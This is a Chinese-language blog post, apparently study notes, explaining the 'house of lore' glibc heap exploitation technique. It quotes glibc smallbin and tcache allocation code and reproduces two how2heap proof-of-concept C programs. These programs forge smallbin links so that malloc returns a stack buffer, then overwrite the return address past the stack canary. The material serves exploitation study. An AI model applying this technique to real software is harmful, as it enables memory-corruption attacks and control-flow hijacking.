house of lore

没搜到有什么例题,先研究下再说

原理

实现效果为分配chunk到栈上
small bin的检查不多:
_int_malloc从small bin中取chunk时,检查前一个chunk的连接

1
2
3
4
5
6
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}

从small bin中取chunk的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
//取bin中最后一个chunk,由bin->bk决定
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
//取下victim后bin->bk由victim->bk决定

if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

利用

2.26以前

实验代码如下(来自how2heap):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};

intptr_t *victim = malloc(0x100);

size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

void *p5 = malloc(1000);

free((void*)victim);

void *p2 = malloc(1200);

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

void *p3 = malloc(0x100);

char *p4 = malloc(0x100);

intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}
  • 为绕过检查布局,实现效果为malloc到buffer1
  • victim进入small bin
  • victim->bk=buffer1,将buffer1链入small bin
  • malloc回victim,buffer1->fd=victim绕过bck->fd==victim的检查
  • malloc回buffer1,buffer1->bk=buffer2和buffer2->fd=buffer1绕过bck->fd==victim的检查
  • 之后我们就能控制函数的返回地址了

2.26以后

2.26加入tcache机制之后,从small bin中取出一个chunk后会把small bin中剩下的chunk装入tcache直到装满,放入过程没有任何检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif

实验代码如下(来自how2heap):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[4] = {0};
void* fake_freelist[7][4];

intptr_t *victim = malloc(0x100);
void *dummies[7];
for(int i=0; i<7; i++) dummies[i] = malloc(0x100);

intptr_t *victim_chunk = victim-2;

for(int i=0; i<6; i++) {
fake_freelist[i][3] = fake_freelist[i+1];
}
fake_freelist[6][3] = NULL;
//伪造从small bin中取出chunk后填满tcache的chunk

stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
//可以少一步伪造buffer2的fd

stack_buffer_2[3] = (intptr_t *)fake_freelist[0];

void *p5 = malloc(1000);

for(int i=0; i<7; i++) free(dummies[i]);
//填满tcache
free((void*)victim);
//victim进入unsorted bin

void *p2 = malloc(1200);
//victim进入small bin

victim[1] = (intptr_t)stack_buffer_1;
//fake6<-fake5<-……<-fake1<-fake0<-buffer2<-buffer1<-victim

for(int i=0; i<7; i++) malloc(0x100);
//清空tcache

void *p3 = malloc(0x100);
//malloc到victim,buffer1、buffer2和fake0——fake4进入tcache

char *p4 = malloc(0x100);
//从tcache中取出buffer1

intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode

long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}

就多了伪造填满tcache的chunk的步骤


house of lore
http://akaieurus.github.io/2023/02/05/house-of-lore/
作者
Eurus
发布于
2023年2月5日
许可协议